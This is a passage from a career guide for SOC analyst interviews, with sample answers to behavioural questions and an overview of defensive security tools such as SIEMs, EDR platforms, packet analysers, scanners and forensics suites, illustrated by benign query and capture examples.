Why they ask this: Security controls create friction. How you handle frustrated users affects both security adoption and your team's reputation.

Framework for answering: 1. Show empathy — acknowledge the frustration is valid 2. Explain your approach to the conversation 3. Demonstrate that you balance security with usability 4. Show the outcome

Example answer:

"I had a situation where a department head was frustrated that DLP was blocking them from emailing large reports to a client. The reports contained data that matched our PII detection rules, and the DLP system was doing its job. But from the user's perspective, they could not do theirs.

I started by acknowledging their frustration — 'I understand this is blocking your workflow, and I want to help you get this done securely.' That matters because if they feel dismissed, they will find a workaround that bypasses security entirely.

Then I investigated the specific case. The data triggering the DLP rule was legitimate business data being sent to a legitimate client. I worked with the user and the security team to create an approved exception — the specific report type to the specific client domain, documented and reviewed quarterly. The user's workflow was restored, the DLP rule continued to protect against actual unauthorized transfers, and we had a documented exception with a review cycle.

The principle I follow: security that blocks legitimate work without providing alternatives gets bypassed. Users are creative — they will use personal email, USB drives, or take photos of their screen. It is better to provide a secure path than to pretend the wall is unclimbable."

Red flags to avoid: - "The policy is the policy" without attempting to understand the user's need - Immediately creating an exception without understanding the risk - Framing users as adversaries

---

Question 10: Learning from Incidents

"How do you approach a post-incident review?"

Why they ask this: Post-incident reviews (lessons learned) are where organizations improve. They want to know if you view incidents as learning opportunities.

Framework for answering: 1. Describe the structure of a post-incident review 2. Emphasize blameless culture 3. Focus on actionable improvements 4. Show you have participated in or value this process

Example answer:

"A post-incident review should be blameless, structured, and action-oriented. The goal is not to assign blame — it is to improve so the same incident does not happen the same way twice.

Structure I follow: 1. **Timeline reconstruction:** What happened, in what order, with timestamps. This should be factual, not interpretive. 2. **What worked:** Which detection rules fired? Which response actions were effective? What went well? This is often skipped, but it is important — you need to reinforce and preserve what works. 3. **What did not work:** Where were the gaps? Was detection delayed? Was containment too slow? Was communication unclear? 4. **Root cause analysis:** Not just 'the user clicked a phishing link' but 'why did the email bypass our filters? Why did the detection rule not fire for 30 minutes? Why did the playbook not cover this scenario?' 5. **Action items with owners and deadlines:** 'Tune the email filter to catch this pattern — owned by email security team — due in two weeks.' Every gap identified should have a specific, assigned remediation step. Without this, the review is just venting.

Blameless culture: The question is never 'who caused this?' It is 'what systemic factors allowed this to happen?' If an analyst missed an alert, the question is 'why was the alert buried in noise? Why did the playbook not highlight the key indicators? What can we change so the next analyst does not miss it?'

In my own learning, I conduct mini post-mortems on my mistakes — even in lab environments. What did I miss? Why did I miss it? What will I do differently? That habit builds the analytical muscle that formal post-incident reviews require."

Red flags to avoid: - Focusing on blame rather than process improvement - Not mentioning concrete action items — a review without actions is a meeting - Skipping "what worked" — learning includes reinforcing good practices

---

Question 11: Continuous Learning

"Where do you see yourself in 2-3 years?"

Why they ask this: They want to know if you are committed to the field and if you have a growth plan. They also want to know if you will stick around long enough to justify the investment of training you.

Framework for answering: 1. Show a clear trajectory within security 2. Reference specific skills or areas you want to develop 3. Connect your growth to value for the organization 4. Be honest but strategic

Example answer:

"In 2-3 years, I want to be a strong Tier 2 analyst who can handle complex investigations independently and mentor Tier 1 analysts. Specifically, I want to deepen my skills in detection

engineering — writing effective detection rules, reducing false positive rates, and mapping coverage to the ATT&CK framework. I am also interested in developing my threat hunting capabilities.

To get there, I am pursuing the GCIH certification to deepen my incident response expertise, and I am working through advanced threat hunting labs. I have also started contributing to open-source detection rules in SIGMA format to build practical detection engineering skills.

My goal is to grow into someone who makes the SOC better, not just someone who works in it — improving playbooks, mentoring newer analysts, and building better detection. That is the trajectory I am on, and a Tier 1 role is the right next step."

Red flags to avoid: - "I want your job" — do not be that person - "I want to be a pentester/red team" — you are interviewing for a blue team role; this signals you are using it as a stepping stone and will leave soon - No answer at all — suggests you have not thought about your career

---

Question 12: Ethical Dilemma

"You discover that a colleague is accessing systems they're not authorized to. What do you do?"

Why they ask this: Integrity matters enormously in security. You have privileged access. They need to know you will do the right thing even when it is uncomfortable.

Framework for answering: 1. Show that you take this seriously 2. Describe your process (document, escalate) 3. Demonstrate that you would not handle it informally 4. Show awareness of the nuances

Example answer:

"This is not something I would handle informally. Unauthorized access is a policy violation at minimum and potentially a security incident.

My first step would be to verify what I observed — make sure I am not misinterpreting legitimate activity. Maybe the colleague has a role I am not aware of, or they are working on a project that requires temporary access I do not know about.

If the access appears genuinely unauthorized, I would document what I observed — timestamps, systems accessed, what I saw them do. Then I would report it to my manager and follow the organization's insider threat reporting process. I would not confront the colleague directly because that could cause them to cover their tracks, and because this is a management and HR matter, not something I should handle peer-to-peer.

I would not ignore it, rationalize it, or 'give them a heads up.' If they are doing something inappropriate, that is a problem. If there is a legitimate explanation, the investigation will surface it and no harm is done. But if I ignore it and it turns out to be data theft or sabotage, I share responsibility for the damage.

Trust is the currency of security work. The organization trusts us with access to their most sensitive systems and data. That trust requires us to hold the line even when it is uncomfortable."

Red flags to avoid: - "I'd talk to them first" — this is not appropriate for potential security incidents - Hesitation or equivocation — this should be clear-cut - "It depends on who it is" — the

process should not change based on the individual

Question 13: Working Under Ambiguity

"Tell me about a time you had to make a decision without complete information."

Why they ask this: SOC analysts constantly make triage decisions with incomplete data. Waiting for perfect information often means the threat has already progressed.

Framework for answering: 1. Describe the situation and what information was missing 2. Explain how you assessed the risk with what you had 3. Describe the decision you made and why 4. Share the outcome and what you would do differently

Example answer:

"During a lab exercise simulating a SOC environment, I encountered an alert for outbound traffic to an IP that was not in any threat intelligence feed. The traffic was HTTPS on port 443 — so I could not inspect the content — and the source host was a finance department workstation.

I did not have enough information to determine if this was malicious. The IP was not flagged, the traffic was encrypted, and the user had not reported anything unusual. I could have closed it as 'insufficient evidence' and moved on.

Instead, I chose to investigate further. I checked the DNS resolution history for the host and found it had queried a recently registered domain (3 days old) that resolved to the suspicious IP. That, combined with the finance department targeting, raised my confidence enough to recommend blocking the domain and isolating the host for deeper investigation.

It turned out to be a simulated phishing scenario in the exercise. The key takeaway: I did not have certainty, but I had enough indicators (unknown IP + recently registered domain + sensitive department) to justify action. In a SOC, the cost of investigating a false positive is a few hours. The cost of ignoring a true positive can be catastrophic.

The decision framework I used: 'Given what I know, what is the worst-case scenario if this is real and I do nothing?' If that answer is bad enough, I act."

Red flags to avoid: - "I waited until I had more information" — sometimes you cannot wait - Not explaining your reasoning process - Not mentioning risk assessment in the decision

---

Question 14: Receiving Criticism

"How do you handle constructive criticism?"

Why they ask this: SOCs involve code review, peer review of investigations, and feedback from leads. Defensive analysts do not grow.

Framework for answering: 1. Show you welcome feedback 2. Give a specific example 3. Show what changed as a result 4. Demonstrate maturity

Example answer:

"I view constructive criticism as free training. Someone took the time to help me improve — that is valuable.

A specific example: while participating in a group incident response exercise, I presented my investigation findings and concluded that the simulated attack was a straightforward phishing compromise. A more experienced participant pointed out that I had stopped investigating too early — I had identified the initial access vector but had not looked for persistence mechanisms or lateral movement. My investigation was technically correct as far as it went, but it was incomplete.

That feedback stung for a moment because I had been proud of my analysis. But they were right. I had solved the obvious problem and stopped. After the exercise, I developed a personal checklist for investigations: initial access, execution, persistence, privilege escalation, lateral movement, exfiltration. I run through it every time now to make sure I do not stop at the first finding.

That checklist, which came directly from someone's feedback, has become one of my most reliable investigation tools."

Red flags to avoid: - "I don't usually get criticized" — suggests you are either perfect (unlikely) or unapproachable - Getting defensive in the story you tell - Not showing a concrete change that resulted from the feedback

---

Question 15: Time Management

"How do you manage your time during a SOC shift?"

Why they ask this: SOC shifts can swing between overwhelming alert volumes and quiet periods. Effective analysts use both productively.

Framework for answering: 1. Describe how you handle high-volume periods 2. Describe how you use quiet periods 3. Show you are self-directed 4. Mention documentation habits

Example answer:

"During busy periods, I prioritize ruthlessly — critical alerts first, then high severity, and I batch similar low-severity alerts to process efficiently. I keep a running note of where I am so that if I get pulled into an escalation, I can resume without losing context.

During quieter periods, I use the time productively: reviewing and tuning noisy alert rules, updating playbooks with lessons from recent investigations, working through training material, threat hunting through logs proactively, or studying for certifications. Quiet time is prep time — the next busy period will come, and I want to be sharper for it.

I also use quiet periods to do thorough documentation of investigations I handled during the rush. In the heat of alert processing, my ticket notes might be abbreviated. During quiet time, I go back and fill in the detail so that anyone reviewing the ticket later has a complete picture.

One habit I am disciplined about: I document as I go, not at the end. If I investigate 10 alerts and try to document all 10 at the end of the shift, the details are fuzzy. If I document each one right after closing it, the notes are accurate and complete."

Red flags to avoid: - "I watch YouTube during slow periods" — even if true, do not say it - No mention of proactive activities during quiet time - "I'm always busy" — this either means the SOC

is understaffed (not your fault) or you cannot manage your time

---

Question 16: Working with Other Teams

"How do you work with teams outside of security — IT, development, business units?"

Why they ask this: SOC analysts do not work in isolation. Cross-team collaboration is essential for incident response, policy implementation, and risk management.

Framework for answering: 1. Acknowledge that security touches every team 2. Describe your approach to cross-team communication 3. Give an example of effective collaboration 4. Show you understand that security is a service, not a police force

Example answer:

"Security is a service that enables the business, not a roadblock. I approach every cross-team interaction with that mindset.

In practice, this means: when I need to coordinate with another team — say, asking the systems team to patch an urgent vulnerability or the network team to implement a firewall rule — I lead with the 'why' and the risk, not the demand. 'This critical vulnerability on server X is being actively exploited in the wild. Here is the CVE, here is the evidence of active exploitation, and here is what could happen if we do not patch within 48 hours.' That is more effective than 'patch this now because security says so.'

When working with development teams on application security issues, I try to be a partner, not a blocker. I explain the vulnerability, show how it could be exploited, and offer to help test the fix — rather than just throwing a scan report over the wall and saying 'fix these 200 findings.'

I have found that the teams who trust security are the ones who come to us early — before they deploy, before they open a firewall port, before they onboard a new vendor. Building that trust requires being helpful, being responsive, and being right without being righteous."

Red flags to avoid: - Framing security as adversarial to other teams - "They don't listen to us" — that is a communication problem, not their problem - Not having any example of cross-team work

---

Question 17: Adapting to New Tools

"You join and the SOC uses a SIEM/tool you've never used before. How do you get up to speed?"

Why they ask this: Tool-specific knowledge is less important than the ability to learn. Most SOCs expect 30-60 days to ramp up.

Framework for answering: 1. Show you have a learning methodology 2. Reference transferable concepts 3. Describe specific steps you would take 4. Manage expectations — ramp-up is normal

Example answer:

"Every SIEM has the same core concepts — log ingestion, parsing, normalization, correlation, querying, and alerting. The query language and UI are different, but the mental model transfers. If I know how to search for failed authentication events in Splunk, learning to do the same thing in Sentinel or QRadar is a syntax change, not a conceptual change.

My approach to a new tool: 1. Start with the official documentation and any vendor training (many have free tiers — Splunk has a free training platform, Microsoft Learn covers Sentinel) 2. Shadow experienced analysts — watch how they use the tool for real investigations 3. Practice by re-running recent investigations in the new tool. Taking a closed ticket and reproducing the investigation teaches me both the tool and the environment's data 4. Ask questions. I would rather ask a 'dumb' question in week two than make a wrong assumption in month three 5. Keep a personal cheat sheet of common queries, filters, and navigation paths until they become second nature

I would expect to be functional within 2-3 weeks and proficient within 60-90 days. Anybody who claims to be proficient in a new SIEM on day one is either lying or has not used a SIEM seriously."

Red flags to avoid: - "I'd need extensive training before I could start" — shows no initiative - Being fixated on one tool — "I only know Splunk and won't use anything else" - Not acknowledging the ramp-up period — unrealistic expectations concern hiring managers

---

Question 18: Stress Management

"How do you handle stress during a security incident?"

Why they ask this: Active incidents are high-pressure. The SOC needs people who stay calm, methodical, and communicative under stress.

Example answer:

"I stay process-driven. Stress usually comes from the feeling that you do not know what to do next. If I have a playbook or a mental framework, each step is clear and the stress is manageable — I focus on the next action, not the magnitude of the situation.

During a high-pressure incident, my approach is: - Follow the process — preparation, detection, containment, eradication, recovery. This sequence is always the same regardless of the incident type. - Communicate proactively — the worst thing during an incident is silence. I keep the team and management updated with what I know, what I am doing, and what I need. Even 'still investigating, no new findings yet' is better than radio silence. - Stay in my lane — if I am handling containment, I focus on containment. I do not try to simultaneously investigate root cause, brief the executives, and write the incident report. Parallel tasking reduces quality. - Take notes in real time — during stressful situations, memory is unreliable. I timestamp everything.

After the incident, I decompress intentionally. Burnout does not come from one bad shift — it comes from not recovering between them. I do a personal debrief: what went well, what was stressful, what would I do differently. Then I step away."

Red flags to avoid: - "I thrive under pressure" — sounds good but tells them nothing concrete - No mention of methodology or process - Not acknowledging that incidents are stressful — it looks like you have never been in one

---

Next: Chapter 5 — Tools and Technology

Chapter 5: Tools and Technology

What to Know About the Tools Interviewers Expect You to Discuss

You will not have used every tool. That is fine. What matters is that you understand *what each tool does*, *when to use it*, and that you can speak to the concepts even if your hands-on experience is with a different product in the same category.

The key phrase that works in every interview: "I have hands-on experience with [Tool X], and while I haven't used [Tool Y] specifically, the core concepts are the same — [explain the concept]. I'm confident I can ramp up quickly."

SIEM Platforms

Splunk

What it does: The most widely deployed commercial SIEM. Collects, indexes, and searches machine data from virtually any source. Known for its powerful search language (SPL) and extensive app marketplace.

Key terminology: - **SPL (Search Processing Language):** The query language. Example: `index=firewall sourcetype=palo_alto action=denied | stats count by src_ip | sort -count` - **Index:** A repository where data is stored. Different data types typically go to different indexes (firewall, endpoint, proxy, auth). - **Sourcetype:** Identifies the format of the data so Splunk can parse it correctly. - **App:** A pre-built collection of dashboards, saved searches, and configurations. The Splunk Security Essentials app provides ready-made security detections. - **Notable event:** In Splunk Enterprise Security (the SIEM add-on), this is a triggered alert that needs analyst review. - **Correlation search:** A saved search that runs on a schedule and generates notable events when conditions are met.

What to say in an interview: "I've worked with Splunk for [log analysis / certification study / homelab]. I'm comfortable writing SPL queries to investigate incidents — for example, searching for all authentication failures from a specific IP across a time range, then using stats and timechart commands to identify patterns. I understand the data flow from forwarder to indexer to search head."

If you have not used it: "I've studied Splunk's SPL syntax and completed [Splunk Fundamentals training / practice labs]. My hands-on experience is with [ELK/Sentinel], but the SIEM concepts

— log ingestion, normalization, correlation, and alerting — are the same. The transition is learning the query language, which I can do quickly."

Microsoft Sentinel

What it does: Cloud-native SIEM built on Azure. Uses KQL (Kusto Query Language) for searching. Deeply integrated with the Microsoft ecosystem (Defender for Endpoint, Azure AD, M365). Growing rapidly in enterprise adoption.

Key terminology: - **KQL (Kusto Query Language):** The query language. Example: `SecurityEvent | where EventID == 4625 | summarize count() by Account | sort by count_ desc` - **Log Analytics Workspace:** Where data is stored. Connected to various data sources via connectors. - **Data connectors:** Integrations that bring data into Sentinel (Azure AD, M365, third-party firewalls, etc.). - **Analytics rules:** Detection rules that generate incidents when triggered. - **Playbooks:** Automated response workflows built using Azure Logic Apps. - **Workbooks:** Dashboards for visualization and reporting. - **Hunting queries:** Pre-built KQL queries for proactive threat hunting.

What to say in an interview: "Sentinel's strength is its cloud-native architecture and integration with the Microsoft security stack. The fact that it natively ingests Defender for Endpoint, Azure AD, and M365 data means you get deep visibility across the environment without complex integration work."

IBM QRadar

What it does: Enterprise SIEM known for its automatic threat detection and offense management. Uses a proprietary search language (AQL — Ariel Query Language). Common in large enterprises, financial services, and government.

Key terminology: - **AQL (Ariel Query Language):** The search language. SQL-like syntax. - **Offense:** QRadar's equivalent of an alert/incident — it aggregates related events and flows into a single investigation. - **Log Source:** A configured data source sending events to QRadar. - **Flow:** Network metadata (who talked to whom, on which port, how much data). QRadar natively collects and analyzes flows. - **DSM (Device Support Module):** Plugins that parse logs from specific vendors. - **Reference sets:** Lists of IOCs (IPs, domains, hashes) used in correlation rules.

What to say in an interview: "QRadar's offense model is interesting because it automatically correlates related events into a single investigation context, which reduces the number of individual alerts analysts need to review."

ELK Stack (Elasticsearch, Logstash, Kibana)

What it does: Open-source log aggregation and visualization platform. Elasticsearch stores and searches data, Logstash processes and enriches it, Kibana provides the UI. With the addition of Elastic Security (formerly SIEM), it provides detection rules and case management.

Key terminology: - **Lucene / KQL (Kibana Query Language):** Search syntax used in Kibana. - **Index pattern:** Defines which Elasticsearch indexes to search. - **Pipeline:** Logstash configuration that processes incoming data (parse, enrich, transform). - **Beats:** Lightweight data shippers (Filebeat for logs, Packetbeat for network, Winlogbeat for Windows events). - **Detection rules:** Pre-built and custom rules in Elastic Security.

What to say in an interview: "I set up an ELK stack in my home lab to aggregate logs from my firewall, endpoints, and web servers. I wrote custom Logstash pipelines to parse syslog data and built Kibana dashboards to visualize authentication patterns and network traffic flows."

EDR Platforms

CrowdStrike Falcon

What it does: Market-leading cloud-native EDR platform. Uses a lightweight kernel-level agent that streams telemetry to the cloud for analysis. Known for its threat intelligence integration and managed threat hunting (Falcon OverWatch).

Key concepts to know: - **Sensor:** The endpoint agent — lightweight, kernel-level - **Cloud-native architecture:** No on-prem infrastructure required for the backend - **Threat Graph:** CrowdStrike's graph database that correlates threat data across all customers - **Falcon OverWatch:** CrowdStrike's managed threat hunting team - **Real-Time Response (RTR):** Remote shell access to endpoints for investigation and response - **IOA (Indicator of Attack):** Behavioral detections, not just signature-based - **Custom IOAs:** Rules you can write to detect organization-specific behaviors - **Network containment:** Ability to isolate a host from the network while maintaining management access

What to say in an interview: "CrowdStrike's behavioral IOA approach catches threats that signature-based detection misses — like detecting PowerShell downloading and executing a payload based on the behavior pattern, even if the specific payload has never been seen before."

SentinelOne

What it does: AI-powered EDR that emphasizes autonomous response — it can automatically contain threats without human intervention. Known for its ransomware rollback capability.

Key concepts to know: - **Storyline:** SentinelOne's visualization of an attack chain — shows the process tree and all related events as a narrative - **ActiveEDR:** Correlates events on the endpoint rather than sending all raw data to the cloud for analysis - **Ranger:** Network device discovery — finds unmanaged devices on the network - **Rollback:** Can revert ransomware damage by restoring files from Volume Shadow Copies - **Deep Visibility:** The hunting/query interface for searching across telemetry - **Purple AI:** Natural language query interface for investigation

---

Microsoft Defender for Endpoint

What it does: Microsoft's EDR solution, deeply integrated with Windows, Azure AD, and the broader Microsoft 365 Defender suite. Available for Windows, macOS, Linux, and mobile.

Key concepts to know: - **Advanced Hunting:** KQL-based query interface for searching raw telemetry - **Automated Investigation and Response (AIR):** Automated investigation of alerts with recommended or automatic remediation - **Threat and Vulnerability Management (TVM):** Built-in vulnerability assessment - **Attack Surface Reduction (ASR) rules:** Policy-based controls that restrict potentially dangerous behaviors (Office macros executing child processes, etc.) - **Live Response:** Remote shell access for investigation - **Exposure score:** A calculated metric of the organization's vulnerability posture - **Integration with Sentinel:** Native data connector for feeding MDE alerts into Sentinel

What to say if this is your primary EDR: "Defender for Endpoint's strength is the native integration with the Microsoft ecosystem. The telemetry flows directly into Sentinel, Advanced Hunting uses the same KQL language, and ASR rules provide proactive protection that goes beyond detection."

Key EDR Concepts (Cross-Platform)

Regardless of which EDR you have used, be prepared to discuss:

- **Process tree analysis:** Understanding parent-child process relationships. Winword.exe spawning PowerShell is suspicious. Explorer.exe spawning a browser is normal.
- **Network isolation / containment:** Cutting a host off from the network while maintaining management access for investigation.
- **Live/remote response:** Interactive shell access to a remote endpoint for forensic data collection and response actions.
- **Behavioral detection vs signature detection:** Modern EDR relies heavily on behavioral analysis (what is the process doing?) rather than just signature matching (does the file hash match known malware?).
- **Telemetry retention:** How long endpoint activity data is stored and searchable — this determines how far back you can investigate.

Network Analysis Tools

Wireshark

What it does: The standard GUI-based packet analyzer. Captures and interactively analyzes network traffic at the packet level.

When to use it: Detailed investigation of specific traffic — examining packet contents, following TCP streams, analyzing protocol behavior, extracting files from network captures. Best for focused analysis of a specific suspicious conversation.

Key concepts for interviews: - Display filters vs capture filters (display: `ip.addr == 10.0.0.1`, capture: `host 10.0.0.1`) - Following TCP streams (right-click > Follow > TCP Stream) to see

full conversations - Statistics > Protocol Hierarchy for traffic overview - Statistics > Conversations for top talkers - File > Export Objects > HTTP to extract downloaded files - Coloring rules for quick visual identification of anomalies - Common display filters: - `dns` — DNS traffic - `http.request.method == "POST"` — HTTP POST requests (data submission) - `tcp.flags.syn == 1 && tcp.flags.ack == 0` — SYN packets only (scan detection) - `tcp.port == 4444` — traffic on a suspicious port

What to say in an interview: "I use Wireshark regularly for packet-level analysis. In a recent CTF exercise, I analyzed a PCAP file to identify a DNS tunneling attack by filtering for DNS TXT record queries and observing base64-encoded data in the query responses."

---

tcpdump

What it does: Command-line packet capture tool for Linux/Unix. Captures traffic and saves it to PCAP files for later analysis in Wireshark.

When to use it: Capturing traffic on a server or network device that does not have a GUI. Quick filtering at the command line. Scripted or automated packet capture.

Key commands:

```
# Capture all traffic on eth0 and save to file
tcpdump -i eth0 -w capture.pcap

# Capture only DNS traffic
tcpdump -i eth0 port 53

# Capture traffic to/from a specific IP
tcpdump -i eth0 host 192.168.1.100

# Capture only SYN packets (port scan detection)
tcpdump -i eth0 'tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0'

# Read a PCAP file with filtering
tcpdump -r capture.pcap -n 'src host 10.0.0.1 and dst port 443'
```

What to say in an interview: "I use tcpdump for quick captures on Linux servers when I need to verify network traffic without installing additional tools. I typically capture to a PCAP file and then analyze in Wireshark for detailed investigation."

Zeek (formerly Bro)

What it does: Network security monitoring framework that generates structured log files from network traffic. Rather than storing raw packets, Zeek generates high-level logs: connection logs (conn.log), DNS logs (dns.log), HTTP logs (http.log), SSL logs, file logs, and more.

When to use it: Network-level detection and investigation at scale. Zeek logs are easier to search and analyze at scale than raw PCAPs. Excellent for hunting and baselining.

Key concepts: - **conn.log:** Every connection — source, destination, port, duration, bytes transferred - **dns.log:** Every DNS query and response - **http.log:** HTTP requests with method, URL, user agent, response code - **files.log:** Files transferred over the network with hashes - **notice.log:** Alerts generated by Zeek detection scripts - Logs are tab-separated and designed for easy ingestion into a SIEM or data analysis tools

What to say in an interview: "Zeek bridges the gap between raw packet capture and SIEM-level analysis. Its structured logs are perfect for feeding into a SIEM — you get network visibility without the storage costs of full packet capture."

Vulnerability Management Tools

Nessus

What it does: The most widely used commercial vulnerability scanner. Scans hosts for known CVEs, misconfigurations, default credentials, and compliance violations.

Key concepts: - **Scan policies:** Templates defining what to check (basic network scan, advanced scan, compliance audit) - **Credentialed vs uncredentialed scans:** Credentialed scans log into the system and check installed software versions. Uncredentialed scans can only assess what is visible from the network. Credentialed scans find significantly more vulnerabilities. - **Plugin:** An individual check for a specific vulnerability. Updated regularly. - **CVSS score integration:** Results include CVSS scores for prioritization - **Scan scheduling:** Automated recurring scans

What to say in an interview: "I've used Nessus for vulnerability assessment in my home lab and certification studies. I understand the importance of credentialed scanning for accurate results, and I know how to interpret scan results — prioritizing by CVSS score, exploitability, and asset criticality rather than treating every finding equally."

Qualys

What it does: Cloud-based vulnerability management platform. Offers vulnerability scanning, compliance assessment, web application scanning, and asset inventory. Common in larger enterprises.

Key concepts: - **QID (Qualys ID):** Qualys's internal vulnerability identifier, mapped to CVEs - **Cloud Agent vs Appliance Scanner:** Agents run on endpoints for continuous assessment. Appliances scan network ranges. - **Qualys Severity vs CVSS:** Qualys has its own severity rating (1-5) in addition to CVSS scores - **VMDR (Vulnerability Management, Detection, and Response):** Qualys's integrated vulnerability lifecycle management platform

---

OpenVAS (Greenbone)

What it does: Open-source vulnerability scanner. The community edition of Greenbone's vulnerability management solution. Good for learning and lab environments.

What to say if this is your scanner: "I've used OpenVAS in my home lab for scanning my network. While it's not as polished as commercial tools, the core vulnerability assessment concepts are the same — scan configuration, credentialed vs uncredentialed assessment, result analysis, and false positive management."

OSINT and Threat Intelligence Tools

VirusTotal

What it does: Online service that analyzes files, URLs, domains, and IPs against 70+ antivirus engines and a vast threat intelligence database. The first stop for checking if something is known-malicious.

How SOCs use it: - Submit suspicious file hashes (never upload sensitive files — they become public) to check detection ratios - Check URLs and domains for malicious flags - Check IPs for associated malware and reputation - Review behavioral analysis reports from sandbox execution - Graph visualization shows relationships between indicators

What to say in an interview: "VirusTotal is one of my first stops when investigating an IOC. I check hashes rather than uploading files to avoid exposing potentially sensitive data. I also use the Relations tab to pivot from one indicator to discover associated infrastructure."

Shodan

What it does: Search engine for internet-connected devices and services. Indexes banner information from exposed services — you can search for specific software versions, open ports, SSL certificates, and vulnerable services.

How SOCs use it: - Check if your organization's assets are unexpectedly exposed to the internet - Research an external IP to understand what services it runs - Identify vulnerable services exposed to the internet (e.g., "find all exposed RDP servers in our IP range") - Investigate suspicious IPs from alerts — what services does this IP run?

What to say in an interview: "I use Shodan for reconnaissance and exposure assessment. I've used it to verify that our internet-facing assets match expectations — any unexpected open ports or services are flagged for investigation."

AbuseIPDB

What it does: Crowd-sourced IP reputation database. Users report malicious IPs (brute force, spam, scanning, DDoS) and others can query the database to check if an IP has a history of abuse.

How SOCs use it: - First-pass reputation check on suspicious IPs from alerts - Context for firewall deny logs — is the blocked IP a known attacker? - API integration with SIEM/SOAR for automated enrichment

---

urlscan.io

What it does: Web-based service that scans URLs by visiting them in a sandboxed browser and recording the results: screenshots, DOM content, network requests, redirects, and any indicators of phishing or malware.

How SOCs use it: - Safely check URLs from suspicious emails without visiting them in a real browser - Identify phishing pages (credential harvesting, fake login pages) - See where a URL redirects (phishing often uses multiple redirects) - Screenshot comparison with the legitimate site

---

Ticketing and Workflow

ServiceNow

What it does: IT service management (ITSM) platform widely used for incident tracking, change management, and security operations. Many SOCs use ServiceNow for security incident ticketing.

Key concepts: - **Incident:** A ticket documenting a security event or issue - **Assignment groups:** Teams responsible for different ticket types - **SLA (Service Level Agreement):** Time-based response and resolution targets - **Knowledge base:** Repository of runbooks, procedures, and documentation - **CMDB (Configuration Management Database):** Inventory of IT assets — useful for determining asset ownership and criticality during incidents - **SecOps module:** ServiceNow's Security Operations add-on with SOAR-like capabilities

What to say in an interview: "Consistent documentation in the ticketing system is critical. Every investigation step, finding, and action should be recorded in the ticket — not just the conclusion. If the incident escalates or is reviewed later, the full investigation trail needs to be there."

Jira

What it does: Atlassian's project management and issue tracking platform. Some SOCs use Jira instead of or alongside ServiceNow for security task tracking.

Key concepts: - **Issue types:** Can be configured for security incidents, vulnerabilities, tasks, etc. - **Workflows:** Customizable states (New > Triaged > Investigating > Containment > Resolved > Closed) - **Dashboards:** Visualizations of queue status, SLA compliance, and analyst workload - **Automation:** Rules that auto-assign, escalate, or notify based on conditions

---

Forensics Tools

Volatility

What it does: Open-source memory forensics framework. Analyzes RAM dumps to find evidence of malware, rootkits, injected code, and other artifacts that only exist in memory.

Key concepts: - **Memory dump:** A capture of a system's RAM at a point in time - **Profile:** Specifies the OS version so Volatility can interpret memory structures - **Plugins (common):** - `pslist` / `pstree` — list running processes - `netscan` — active and recently closed network connections - `malfind` — find potentially injected or malicious code in process memory - `dlllist` — loaded DLLs for each process - `hashdump` — extract password hashes from memory - `filescan` — find file objects in memory - `cmdline` — show command-line arguments for each process - `handles` — list open handles (files, registry keys, mutexes)

What to say in an interview: "I've used Volatility in lab exercises to analyze memory dumps from compromised systems. The ability to see processes, network connections, and injected code that might not be visible on disk is invaluable — especially for fileless malware that only exists in memory."

Autopsy / Sleuth Kit

What it does: Open-source digital forensics platform. Analyzes disk images to recover deleted files, examine file system timelines, find artifacts, and build cases.

Key concepts: - **Disk image:** A bit-for-bit copy of a storage device (created with FTK Imager, dd, etc.) - **Timeline analysis:** Reconstructing file system activity (creation, modification, access times) to build an incident timeline - **Keyword search:** Searching disk content for specific terms, IPs, domains, etc. - **Hash sets:** Comparing file hashes against known-good (NSRL) and known-bad databases - **Artifact extraction:** Browser history, email, registry, event logs, deleted files

---

FTK (Forensic Toolkit) / FTK Imager

What it does: AccessData's commercial forensics suite. FTK Imager (free) is the standard tool for creating forensic disk images. FTK (commercial) provides full forensic analysis.

Key concepts: - **Forensic image:** A verified, bit-for-bit copy of a drive with hash verification (MD5 + SHA1) - **Write blocker:** Hardware or software that prevents writing to the evidence drive during imaging — preserving integrity - **Chain of custody:** Documentation tracking who handled the evidence, when, and what was done. Critical for legal proceedings - **E01 format:** EnCase evidence file format — compressed forensic image with built-in hash verification

What to say in an interview: "I understand the importance of forensic integrity — using write blockers, creating verified images before analysis, and maintaining chain of custody documentation. Even if a case does not go to court, following forensic best practices ensures the investigation is defensible."

Scripting Languages

Python

What it is in the SOC context: The most versatile scripting language for security automation. Used for log parsing, API integration, custom tool development, malware analysis, and data

processing.

Expected knowledge by tier:

Tier 1: - Read and run Python scripts - Understand basic structures (loops, conditionals, functions) - Use pip to install packages - Modify existing scripts (change an IP address, file path, or API key)

Tier 2: - Write scripts from scratch for automation tasks - Parse logs and data files (CSV, JSON, XML) - Use the `requests` library for API calls (VirusTotal, SIEM, ticketing) - Use `re` for regex-based log parsing - Basic file I/O for reading and writing data

Common security-relevant libraries: - `requests` — API calls to security tools - `re` — regex for log parsing - `json` / `csv` — data format handling - `ipaddress` — IP address manipulation and validation - `hashlib` — file hashing - `socket` — network operations - `datetime` — timestamp manipulation - `scapy` — packet crafting and analysis - `yara-python` — YARA rule matching

What to say in an interview: Focus on practical application: "I wrote a Python script that takes a list of file hashes, queries the VirusTotal API for each one, and generates a report with detection rates and associated malware families. It saves about 30 minutes of manual lookups per investigation."

PowerShell

What it is in the SOC context: Essential for Windows investigation and automation. Also the most commonly abused living-off-the-land tool, so understanding PowerShell is both offensive awareness and defensive capability.

Expected knowledge by tier:

Tier 1: - Navigate the command line - Run basic commands (`Get-Process`, `Get-Service`, `Get-EventLog`) - Understand the pipeline (`|`) - Read PowerShell commands in EDR/SIEM logs and understand what they do

Tier 2: - Write investigation scripts (search for IOCs across hosts, parse event logs) - Use `Invoke-WebRequest` and REST API calls - Remote management (`Enter-PSSession`, `Invoke-Command`) - Understand WMI queries - Decode base64-encoded PowerShell (which you will see in logs frequently)

Critical defensive knowledge: - PowerShell execution policies and how to interpret them (and how easily they are bypassed) - Script Block Logging (Event ID 4104) — logs the actual PowerShell code that ran - Module Logging and Transcription — additional logging capabilities - Constrained Language Mode — restricts PowerShell to basic functionality - AMSI (Antimalware Scan Interface) — scans PowerShell scripts before execution

---

Bash

What it is in the SOC context: The standard shell for Linux/Unix systems. Essential for investigating Linux hosts, working with network tools, and scripting on security appliances.

Expected knowledge by tier:

Tier 1: - Navigate the file system, read files, search for content - Use `grep`, `awk`, `cut`, `sort`, `uniq` for log analysis - Run and understand basic one-liners - File permissions and ownership

Tier 2: - Write shell scripts for automation - Use `curl` for API calls - Process text data pipelines for log analysis - Cron job management - SSH for remote access and investigation

Common one-liners for SOC work:

```
